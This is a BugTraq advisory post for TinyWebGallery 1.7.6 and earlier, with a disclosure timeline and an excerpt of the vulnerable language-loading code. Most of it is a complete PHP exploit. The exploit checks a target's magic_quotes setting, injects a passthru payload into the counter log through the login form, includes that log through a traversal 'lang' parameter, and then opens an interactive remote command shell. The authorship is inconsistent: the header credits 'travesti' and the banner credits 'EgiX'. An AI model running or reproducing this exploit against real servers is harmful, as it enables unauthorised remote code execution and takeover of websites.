BugTraq
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit May 10 2009 01:42AM
travesti travesti in
<?php

/*
-----------------------------------------------------------
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
-----------------------------------------------------------

author...: travesti
mail.....: travesti[at]travesti.in

link.....: http://www.travesti.in
details..: this vulnerability drift from QuiXplorer (http://quixplorer.sourceforge.net/)
exp link.: http://www.travesti.in/ex.txt

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /admin/_include/init.php

110. // Get Language
111. if (isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__GET']["lang"];
112. elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__POST']["lang"];
113. else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];
114. else $GLOBALS["language"] = $GLOBALS["default_language"];
115.
[...]
138.
139. // ------------------------------------------------------------------------
------
140. // Necessary files
141. require _QUIXPLORER_PATH . "/_config/conf.php";
142.
143. if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
144. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
145. else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
146. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
147. else
148. require _QUIXPLORER_PATH . "/_lang/en.php";

An attacker could be able to include arbitrary local files through the require function at line 144, due to
$_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off

[-] Disclosure timeline:

[14/04/2009] - Bug discovered
[25/04/2009] - Vendor contacted
[26/04/2009] - Vendor replied
[26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
[08/05/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("\nsocket_create(): " . socket_strerror($s) . "\n");

if (socket_connect($s, $host, 80) == false)
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;

socket_close($s);
return $response;
}

function check_target()
{
global $host, $path;

$packet = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);

if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");
}

function inject_code()
{
global $host, $path;

$code = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${di
e} ?>";
$payload = "p_user={$code}&p_pass=";

$packet = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);
}

print "\n+--------------------------------------------------------------------
-+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n+--------------------------------------------------------------------
-+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /twg/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while (1)
{
print "\ntwg-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>

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